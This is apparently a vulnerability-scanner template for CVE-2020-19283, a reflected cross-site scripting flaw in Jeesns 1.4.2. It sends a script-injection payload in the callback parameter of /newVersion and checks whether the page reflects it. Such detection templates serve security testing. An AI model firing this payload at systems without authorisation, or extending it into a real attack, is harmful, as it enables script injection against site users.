id: CVE-2020-19283

info:
  name: Jeesns newVersion Reflection XSS
  author: pikpikcu
  severity: medium
  description: Reflected cross-site scripting (XSS) vulnerability in the /newVersion component of Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/10
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19283
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19283
    cwe-id: CWE-79
  tags: cve,cve2020,jeesns,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html